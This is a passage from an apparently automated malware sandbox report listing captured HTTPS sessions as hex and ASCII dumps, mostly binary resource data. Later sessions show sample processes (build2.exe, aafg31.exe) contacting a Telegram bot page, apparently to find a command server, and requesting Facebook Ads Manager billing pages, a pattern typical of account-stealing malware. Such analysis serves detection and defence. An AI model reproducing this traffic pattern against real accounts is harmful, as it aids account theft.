80 80 00 81 7e 7e 00 7e Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:39 UTC	1917	IN	Data Raw: 7f 80 80 7f 7f 80 Data Ascii:
2023-05-28 08:43:39 UTC	1917	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1917	IN	Data Raw: 32 30 30 30 0d 0a 7f 7e 80 7f 80 81 7f 7f 80 7e 80 7f 7e 7f 7f 80 80 81 80 7f 80 7e 7f 7e 80 7e 80 7f 80 7e 80 81 7e 81 7f 80 7e 81 80 7f 7f 81 7e 80 80 7f 80 80 7f 7f 80 7f 7e 81 80 81 80 80 81 7f 7f 81 81 7f 80 7e 80 81 7e 7f 7f 81 80 80 7f 80 7f 81 7f 7f 7e 7f 7f 81 7e 7f 81 80 81 7f 80 80 80 80 80 80 7f 7f 7f 7f 80 7f 80 7e 80 7e 80 81 80 80 7e 80 7f 7f 7e 7e 81 7f 7f 81 80 7f 7e 7f 7f 80 81 7f 80 81 7f 7f 80 7f 81 80 81 81 7f 7f 81 7f 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b 6e 90 00 9b 6e 90 00 7f 7f 81 7e 80 7f 7f 7f 80 7e 80 80 7f 80 7f 7f 7e 80 7f 80 7f 80 80 80 80 81 7f 7f 80 7f 80 80 80 80 80 7f 81 80 7f 7f 80 80 7e 80 80 7e 80 7f 7e 7e 80 80 7f 7f 7f 81 80 7f 7f 7e 7f Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~nn~~~~~~~~
2023-05-28 08:43:39 UTC	1925	IN	Data Raw: 80 7f 7e 80 80 7f Data Ascii: ~
2023-05-28 08:43:39 UTC	1925	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1925	IN	Data Raw: 32 30 30 30 0d 0a 7e 80 7e 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 81 7f 80 7f 80 7e 7e 7e 7f 80 7e 7f 80 80 7e 80 7f 7f 7f 80 7e 7f 80 80 7f 80 7f 81 7f 81 80 80 7f 81 80 80 7f 7f 7e 7f 80 80 7e 81 81 80 80 7f 7f 7e 80 80 7f 7f 7f 7e 80 7f 7e 80 7f 81 80 7f 80 7f 80 80 7f 80 7e 7f 7f 7e 7e 81 7e 80 80 7f 81 7f 7f 80 7e 80 80 7f 7f 7f 81 80 7f 7e 7f 7f 80 80 81 81 7f 7f 80 81 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7e 80 7f 80 7f 7f 80 80 80 80 80 80 81 7f 7f 81 7f 7f 80 7f 7f 7f 80 80 7e 80 80 7e 7f 7f 80 81 80 81 7f 80 81 80 7e 7e 7f 80 7f 81 7f 81 80 7f 7f 7f 81 7f 80 7e 80 81 81 80 7e 7f 7f 7e 7f 81 80 81 7f 80 7e 80 81 7e 80 7f 81 80 81 7f 81 7f 7e 80 80 7e 80 7f 7f 80 80 7f 80 7f 7e 7f 7f 7e 7e 81 80 7f Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:39 UTC	1933	IN	Data Raw: 00 01 ff ff 00 00 Data Ascii:
2023-05-28 08:43:39 UTC	1933	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1933	IN	Data Raw: 32 30 30 30 0d 0a f8 00 00 01 ff ff 00 00 f0 00 00 01 ff ff 00 00 f0 00 00 01 ff ff 00 00 f0 00 00 01 ff ff 00 00 f0 00 00 03 ff ff 00 00 f0 00 00 03 ff ff 00 00 f8 00 00 07 ff ff 00 00 fc 00 00 0f ff ff 00 00 fe 00 00 1f ff ff 00 00 ff 80 00 3f ff ff 00 00 ff f0 03 ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 80 00 80 7f 7f 00 80 7f 7e 00 7f 80 7f 00 7f 81 80 00 81 81 80 00 7f 81 81 00 7e 80 80 00 80 81 80 00 7f 80 7f 00 80 7f 80 00 80 80 80 00 80 80 7e 00 7e 80 80 00 80 7f 7f 00 7f 81 80 00 7f 80 80 00 7f 81 7e 00 7e 7e 81 00 80 80 7f 00 80 7f 7e 00 81 7e 80 00 7f 7f 81 00 7f 80 7f 00 7f 80 7e 00 7f 80 7f 00 7f Data Ascii: 2000?( @~~~~~~~~~~
2023-05-28 08:43:39 UTC	1941	IN	Data Raw: 7f 7f 7e 80 80 81 Data Ascii: ~
2023-05-28 08:43:39 UTC	1941	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1941	IN	Data Raw: 31 66 66 38 0d 0a 7f 7f 81 7f 80 80 7e 7f 81 7f 7f 81 7e 7f 7e 80 80 7f 7f 7f 81 7f 7e 7f 7e 80 80 80 80 7f 81 81 80 81 81 7f 80 81 80 80 80 7e 80 7f 7e 7f 7f 80 7e 81 81 81 80 7f 7f 81 80 80 7e 81 7f 7e 7f 7e 80 80 81 7f 7f 7f 7f 7f 7e 80 7e 80 80 81 7e 81 7f 80 80 80 7f 81 7f 81 7f 80 7f 81 7f 7f 7f 7e 7f 7f 81 7f 7e 80 7f 81 80 7f 7f 80 80 81 7f 7e 7e 80 80 7f 80 81 80 7e 7e 7f 80 80 80 80 7f 80 7f 80 7e 80 80 80 81 80 7f 81 80 81 81 7f 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 7f 81 81 7f 81 80 81 80 7f 80 7f 7e 80 80 80 80 7f 80 81 7f 7e 80 81 80 80 7f 81 7f 81 7f 80 80 81 81 7f 81 80 80 80 81 7f 7e 80 7f 81 80 80 7e 81 81 7f 7f 7e 7f 80 7f 80 7e 80 80 7f 7e 80 7f 80 7e 80 7f 7e 7e 7e 80 80 81 80 7f 7e 80 80 80 7e 7f 7e 80 80 7f 7f 81 Data Ascii: 1ff8~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:39 UTC	1949	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1949	IN	Data Raw: 80 80 80 80 7f 7e 80 80 7e 7e 7e 7f 80 80 7f 80 7f 7f 7f 80 7e 80 7f 80 7f 80 81 80 80 81 7e 7e 7f 81 80 7f 81 7e 81 81 80 7f 80 80 7f 80 7f 81 7e 80 80 7e 7e 7f 81 7f 80 81 7f 7f 80 7f 7f 80 80 80 80 80 7f 7f 7f 7e 80 7e 7f 7f 00 00 00 00 00 00 00 00 80 7e 7f 80 7f 7f 7e 7f 7f 80 7e 80 7f 7f 80 7e 7f 81 81 80 80 80 80 80 7f 80 7e 7f 7f 80 7f 80 81 80 80 7f 7f 80 7e 7f 7f 7e 7f 80 80 81 80 7f 80 80 80 80 7f 80 7f 80 80 7e 7f 7e 7f 7f 81 7e 7f 80 7e 81 80 7f 7f 7f 7f 7f 7f 7f 80 80 81 7e 7e 7f 81 7f 80 7f 80 7f 80 80 7f 81 80 80 80 80 80 80 80 80 7e 80 7e 81 7f 80 80 7e 80 80 7f 80 80 7f 81 7f 7f 7e 81 7e 00 00 00 00 7e 7f 81 81 81 80 80 80 80 80 7f 81 81 7e 80 7f 80 81 80 80 7f 7f 7f 80 7f 7f 81 7e 80 81 80 80 7f 7e 7f 7e 80 80 80 7f 80 81 7f 7f 7f 80 80 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:39 UTC	1957	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1957	IN	Data Raw: 32 30 30 30 0d 0a b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 b6 ff ff ff ff ff ff 00 00 fe 00 00 00 00 1f 00 00 fc 00 00 00 00 0f 00 00 f8 00 00 00 00 0f 00 00 e0 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 Data Ascii: 2000
2023-05-28 08:43:39 UTC	1965	IN	Data Raw: 7f 7f 81 81 80 81 Data Ascii:
2023-05-28 08:43:39 UTC	1965	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1965	IN	Data Raw: 32 30 30 30 0d 0a 80 80 80 7f 80 81 80 7f 80 7f 80 7f 80 7f 81 7f 7e 81 81 80 80 81 81 7e 80 7f 81 7e 80 80 80 80 81 81 7f 7f 7f 7e 80 7e 81 81 80 7f 7f 7e 7e 7f 7f 7e 81 7f 7f 7f 81 81 81 80 7f 7f 7e 7f 7e 80 81 80 80 7f 80 80 81 7f 81 80 7e 7e 7f 81 80 80 7e 80 7f 7f 7f 80 7f 80 81 7f 81 81 81 7e 80 7f 7f 7f 81 7f 7e 7f 80 7e 7f 80 80 81 81 7f 81 7e 81 7f 7f 80 80 7f 7f 80 80 80 7f 81 7f 7f 7f 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 7f 7e 7e 81 7f 81 80 7f 80 7f 7e 7e 80 81 7f 7e 80 7e 7e 7e 80 7e 7e 80 80 81 7f 80 7f 80 80 7f 7e 7f 80 80 80 81 7f 80 7f 81 7e 80 81 7f 80 7f 7f 7e 7e 80 7f 80 7e 7f 7f 81 7f 80 80 7f 80 80 7f 81 81 80 7f 80 7e 80 7f 7f 80 7e 81 7f 81 80 7f 7f 81 80 80 7f 7f 7f 80 80 7f 80 80 7f 81 7f 80 7f 80 80 81 7f 80 Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:39 UTC	1973	IN	Data Raw: 7f 7e 7e 80 7f 80 Data Ascii: ~~
2023-05-28 08:43:39 UTC	1973	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1973	IN	Data Raw: 32 30 30 30 0d 0a 7e 7e 81 80 81 81 7f 80 81 81 80 7e 7f 80 80 7f 7f 7e 81 7e 80 80 7f 7e 7f 7e 80 81 80 7e 7f 7f 7f 80 80 80 7f 7f 80 80 7e 81 81 80 7f 80 7f 81 81 7f 7f 7f 7f 7f 80 80 7f 80 7f 7e 81 7f 7f 80 7f 80 7f 7f 81 80 7f 80 7f 7e 7e 81 7f 7f 7e 7f 7f 7f 7f 7e 7f 7e 7f 80 81 7f 7f 7e 7f 7f 80 81 7f 81 81 81 81 7e 7e 7f 7e 7f 80 7f 80 7f 7f 7f 00 00 00 00 00 00 00 00 7f 80 80 80 7e 80 7e 80 81 80 7f 7f 7f 7e 81 7e 81 80 7e 7f 7e 7f 7e 81 80 7e 7f 80 81 80 7e 7f 7f 80 7e 7f 7f 7e 7f 81 80 81 7e 80 7f 81 7f 80 7f 7f 7e 80 80 80 80 80 7f 7f 7f 81 80 7e 80 7e 81 80 80 7e 80 7f 7f 80 7e 81 7f 80 81 7f 81 7f 80 7e 7f 81 7e 7e 7f 7f 7f 80 7f 80 7f 7f 7f 80 7f 81 81 7e 7f 80 7e 7f 80 81 81 80 80 7f 80 7f 80 80 80 7e 7f 7f 7e 80 00 00 00 00 00 00 00 00 7f Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:39 UTC	1981	IN	Data Raw: 00 00 00 1f 00 00 Data Ascii:
2023-05-28 08:43:39 UTC	1981	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1981	IN	Data Raw: 32 30 30 30 0d 0a ff c0 00 00 00 0f 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 07 00 00 ff 80 00 00 00 0f 00 00 ff 80 00 00 00 0f 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7a 82 00 7e 7e 7d 00 7e 82 80 00 83 84 7d 00 80 7d 7d 00 7a 79 7e 00 7d 7e 81 00 80 81 7f 00 81 7e 80 00 80 83 84 00 7c 86 80 00 83 82 84 00 81 80 81 00 80 84 7e 00 83 7e 84 00 81 7e 7e 00 84 7f 82 00 7f 80 81 00 82 7b 7a 00 81 7f 7c 00 84 7e 80 00 84 7d 82 00 85 7b 84 00 81 7b 7a 00 80 Data Ascii: 2000( @z~~}~}}}zy~}~~\|~~~~{z\|~}{{z
2023-05-28 08:43:39 UTC	1989	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-05-28 08:43:39 UTC	1989	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1989	IN	Data Raw: 32 30 30 30 0d 0a 7d 86 82 83 7d 7e 7f 83 80 7c 81 7d 83 7e 7c 82 81 7e 7e 82 80 80 80 7d 7b 80 7d 81 84 80 84 81 7f 7f 7d 7a 7a 82 80 85 85 81 81 83 83 80 7b 83 82 7d 80 7f 7e 85 82 83 7c 7c 7d 84 7f 82 83 83 7e 80 83 7e 80 79 7b 7d 80 84 81 7e 7a 83 7d 82 84 80 81 7d 7c 80 7f 81 7b 84 82 81 7d 82 80 81 7d 7b 81 81 7e 84 7f 80 7f 7f 7d 7e 7c 7b 83 7b 82 7d 7f 7e 7c 84 7f 7d 80 7a 7b 7f 7f 7d 82 7c 86 7f 81 7f 81 7d 81 7d 7e 81 83 7e 7c 7c 7f 7b 7f 80 7e 83 7f 7f 7f 7d 81 85 82 80 86 82 80 80 7e 80 81 80 7b 7f 84 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 84 7c 79 83 7d 82 7d 82 7d 7b 7c 81 80 7b 80 82 7e 7f 7d 80 7b 83 7f 80 81 7f 84 7f 7e 79 80 7e 7f 81 7b 7c 81 7d 79 7b 80 7f 7f 7b 7e 80 80 7b 7a 85 84 81 79 7c 83 79 Data Ascii: 2000}}~\|}~\|~~}{}}zz{}~\|\|}~~y{}~z}}\|{}}{~}~\|{{}~\|}z{}\|}}~~\|\|{~}~{}\|y}}}{\|{~}{~y~{\|}y{{~{zy\|y
2023-05-28 08:43:39 UTC	1997	IN	Data Raw: 84 83 7b 7c 7d 7c Data Ascii: {\|}\|
2023-05-28 08:43:39 UTC	1997	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1997	IN	Data Raw: 32 30 30 30 0d 0a 84 7c 82 80 80 84 83 84 7e 80 80 83 7d 7c 7f 7b 80 81 7a 81 86 7b 7c 84 80 7c 80 81 80 7a 7e 7e 7f 7c 85 7c 7c 7f 80 7e 81 80 80 7c 81 80 7c 82 85 80 7c 84 7a 80 7d 86 82 80 83 7f 80 7a 7d 7b 83 83 85 83 84 7c 83 82 7f 7c 81 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7c 7d 7e 7f 81 7f 80 80 82 85 7e 7f 81 7c 7b 7d 7f 82 81 7e 7d 7a 7b 7a 83 7f 82 7b 82 7f 82 79 84 7f 80 7c 82 7d 7f 85 83 85 7b 7b 7d 83 7e 7b 80 82 7f 7c 7c 7f 7d 80 80 7d 83 85 83 7f 7f 80 82 85 82 80 84 80 82 7a 80 7b 80 82 80 82 81 7e 79 7d 80 83 7e 84 7c 7e 80 83 7f 82 7b 79 7b 7d 83 83 84 84 7a 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7b 7c 7f 81 82 83 81 86 7f 81 7e 7e 83 83 79 7f 7b 82 7f 7b 81 Data Ascii: 2000\|~}\|{z{\|\|z~~\|\|\|~\|\|\|z}z}{\|\|\|}~~\|{}~}z{z{y\|}{{}~{\|\|}}z{~y}~\|~{y{}z{\|~~y{{
2023-05-28 08:43:39 UTC	2005	IN	Data Raw: 7a 00 6f 00 6d 00 Data Ascii: zom
2023-05-28 08:43:39 UTC	2005	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	2005	IN	Data Raw: 31 66 66 38 0d 0a 61 00 20 00 6b 00 75 00 74 00 65 00 6c 00 20 00 63 00 6f 00 7a 00 65 00 6e 00 61 00 77 00 61 00 73 00 6f 00 67 00 6f 00 78 00 1a 00 54 00 6f 00 77 00 20 00 76 00 65 00 66 00 61 00 64 00 75 00 20 00 73 00 65 00 78 00 6f 00 7a 00 20 00 6e 00 65 00 7a 00 75 00 70 00 20 00 72 00 6f 00 62 00 12 00 47 00 69 00 7a 00 20 00 68 00 69 00 6b 00 69 00 67 00 75 00 6c 00 65 00 66 00 61 00 7a 00 69 00 6c 00 69 00 2f 00 48 00 61 00 78 00 69 00 79 00 6f 00 67 00 75 00 7a 00 75 00 6b 00 6f 00 20 00 6a 00 61 00 68 00 6f 00 20 00 7a 00 69 00 6d 00 6f 00 6e 00 75 00 6e 00 75 00 67 00 69 00 67 00 61 00 78 00 6f 00 70 00 20 00 6d 00 75 00 6e 00 61 00 79 00 20 00 78 00 65 00 63 00 75 00 74 00 69 00 77 00 35 00 48 00 75 00 70 00 20 00 77 00 6f 00 7a 00 69 00 76 Data Ascii: 1ff8a kutel cozenawasogoxTow vefadu sexoz nezup robGiz hikigulefazili/Haxiyoguzuko jaho zimonunugigaxop munay xecutiw5Hup woziv
2023-05-28 08:43:39 UTC	2013	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	2013	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-28 08:43:39 UTC	2021	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	2021	IN	Data Raw: 34 34 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 448

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49947	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:42 UTC	2022	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:43:42 UTC	2022	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:43:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:43:42 UTC	2023	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49970	157.240.17.17	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:47 UTC	2035	OUT	GET /ads/manager/account_settings/account_billing/ HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 Host: adsmanager.facebook.com User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document
2023-05-28 08:43:47 UTC	2049	IN	HTTP/1.1 302 Found Vary: Accept-Encoding Location: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F x-fb-rlafr: 0 content-security-policy-report-only: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com *.www.meta.com ms-excel:;manifest-src data: blob: 'self';report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
2023-05-28 08:43:47 UTC	2050	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 3b 73 63 72 69 70 74 2d 73 72 63 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 3b 73 74 79 6c 65 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: content-security-policy: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net
2023-05-28 08:43:47 UTC	2052	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a Data Ascii: Connection: closeContent-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49971	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:47 UTC	2036	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:43:47 UTC	2036	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:43:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:43:47 UTC	2036	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 